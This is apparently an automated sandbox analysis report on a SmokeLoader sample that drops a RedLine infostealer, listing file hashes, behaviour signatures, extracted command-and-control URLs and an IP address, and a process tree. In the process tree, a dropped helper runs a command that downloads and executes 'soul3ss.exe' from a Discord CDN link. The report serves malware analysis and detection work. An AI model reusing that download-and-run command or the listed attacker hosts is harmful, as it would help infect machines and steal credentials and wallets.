Analysis

  • max time kernel
    153s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    23-08-2021 13:56

General

  • Target

    4001ef3d5abca387a707411e1b11c07ed5b0bab60d5409831f55dcbdeb86a60f.exe

  • Size

    276KB

  • MD5

    324f47a307e160a75080e4d7f8175fb7

  • SHA1

    7a14bb0ff3cfdd94316f3e650ba7f3b73fdd6b0d

  • SHA256

    4001ef3d5abca387a707411e1b11c07ed5b0bab60d5409831f55dcbdeb86a60f

  • SHA512

    b86312b91c0804e62e9cbf332eff0d8a5719ae9a723f4dc545237a43b00cad888867fba246fa03e5388a5f67f280f50265e9e24df8ffb67fa66076e599db1e99

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://aucmoney.com/upload/

http://thegymmum.com/upload/

http://atvcampingtrips.com/upload/

http://kuapakualaman.com/upload/

http://renatazarazua.com/upload/

http://nasufmutlu.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

@soul3ss

C2

188.130.139.12:30376

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4001ef3d5abca387a707411e1b11c07ed5b0bab60d5409831f55dcbdeb86a60f.exe
    "C:\Users\Admin\AppData\Local\Temp\4001ef3d5abca387a707411e1b11c07ed5b0bab60d5409831f55dcbdeb86a60f.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:1848
  • C:\Users\Admin\AppData\Local\Temp\AC85.exe
    C:\Users\Admin\AppData\Local\Temp\AC85.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\AD51.bat C:\Users\Admin\AppData\Local\Temp\AC85.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:968
      • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1160
      • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe "/random" "9000000" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:832
      • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/879335227095416884/879356613826314250/soul3ss.exe" "soul3ss.exe" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:992
      • C:\Users\Admin\AppData\Local\Temp\8751\soul3ss.exe
        soul3ss.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: CmdExeWriteProcessMemorySpam
        • Suspicious use of AdjustPrivilegeToken
        PID:1616
      • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
        C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe "/sleep" "9000009" "" "" "" "" "" "" ""
        3⤵
        • Executes dropped EXE
        PID:1600

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\8751\soul3ss.exe
    MD5

    411ca7ba89ae45e92f9ed4663f903335

    SHA1

    6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

    SHA256

    6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

    SHA512

    bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

  • C:\Users\Admin\AppData\Local\Temp\8751\soul3ss.exe
    MD5

    411ca7ba89ae45e92f9ed4663f903335

    SHA1

    6360b07844800b8e6e6e2b11ee3c8d051c4a2e96

    SHA256

    6780a257463d037daff9f626aecee2347177edfb0851ee12d33ba225ab38f009

    SHA512

    bfd58e96af22f17fab2cff4b360d79621b738128c61f01420963a1119d27320eb97a64fef42819e9ea7ffab39289f19b82f8911e227236435a87151d55d9e754

  • C:\Users\Admin\AppData\Local\Temp\AC85.exe
    MD5

    e16f915796d4762014fc3864d4444ac3

    SHA1

    819364784cf0d3fe440b6c9a3950de7fa093e805

    SHA256

    65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

    SHA512

    1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\AD51.bat
    MD5

    3c688a168d11fe43e0ef29ac74beab5f

    SHA1

    1a394048e88b72fbbae98bad3a327f3bf31dfa00

    SHA256

    74f0a9fa397ec48e6d8425a758187980df03d67fe64684a3470ef4436e1eec61

    SHA512

    2037c8f3120469b6fa89392df63ac233bb5129a4486f182c67643f64593a1f9a0504ff25aeaacd6c043015d720c115a4b2cc1aa08d3d421a10a89996deb0ad6c

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • C:\Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AC85.exe
    MD5

    e16f915796d4762014fc3864d4444ac3

    SHA1

    819364784cf0d3fe440b6c9a3950de7fa093e805

    SHA256

    65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

    SHA512

    1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

  • \Users\Admin\AppData\Local\Temp\AC85.exe
    MD5

    e16f915796d4762014fc3864d4444ac3

    SHA1

    819364784cf0d3fe440b6c9a3950de7fa093e805

    SHA256

    65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

    SHA512

    1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

  • \Users\Admin\AppData\Local\Temp\AC85.exe
    MD5

    e16f915796d4762014fc3864d4444ac3

    SHA1

    819364784cf0d3fe440b6c9a3950de7fa093e805

    SHA256

    65dee75f5d4f0d7e0c1065a689ebe79f67c87a4d3d9654193164128e859a0ddd

    SHA512

    1c3721ebe22c1e9b9b5f51926d9e1bd1d26fca9b57f25161afefdeca9bdb3a1551fb4931fdbbe16df59c43c8a4eaa2131ab508a97a39cd6ddaf04003d9adca2a

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • \Users\Admin\AppData\Local\Temp\AD4F.tmp\AD50.tmp\extd.exe
    MD5

    b019efc4814c7a73b1413a335be1fa13

    SHA1

    6e093c94cfa4a0fe25e626875f2b06a5cbc622d2

    SHA256

    a13ac752c70e4bbd3cd8a58c48d41a7d80946ad2a92780ee26f47100a01e345e

    SHA512

    d8eae2f4e64ffd4cc3e6398a0e69aa54f7cc98a461d515cb7d8d9606b65c1bb1d70ff1a1cbbb6b84291898fe5d8926b908fdf46ed22ab5d8fc52a6c60bc7120b

  • memory/832-80-0x0000000000000000-mapping.dmp
  • memory/968-70-0x0000000000000000-mapping.dmp
  • memory/992-85-0x0000000000000000-mapping.dmp
  • memory/1160-75-0x0000000000000000-mapping.dmp
  • memory/1200-63-0x0000000002AF0000-0x0000000002B06000-memory.dmp
    Filesize

    88KB

  • memory/1600-93-0x0000000000000000-mapping.dmp
  • memory/1616-89-0x0000000000000000-mapping.dmp
  • memory/1616-96-0x0000000000F20000-0x0000000000F21000-memory.dmp
    Filesize

    4KB

  • memory/1616-98-0x0000000000CA0000-0x0000000000CA1000-memory.dmp
    Filesize

    4KB

  • memory/1848-61-0x0000000000020000-0x0000000000029000-memory.dmp
    Filesize

    36KB

  • memory/1848-60-0x00000000757C1000-0x00000000757C3000-memory.dmp
    Filesize

    8KB

  • memory/1848-62-0x0000000000400000-0x00000000023AF000-memory.dmp
    Filesize

    31.7MB

  • memory/1904-66-0x0000000000000000-mapping.dmp
  • memory/1904-69-0x000007FEFBF71000-0x000007FEFBF73000-memory.dmp
    Filesize

    8KB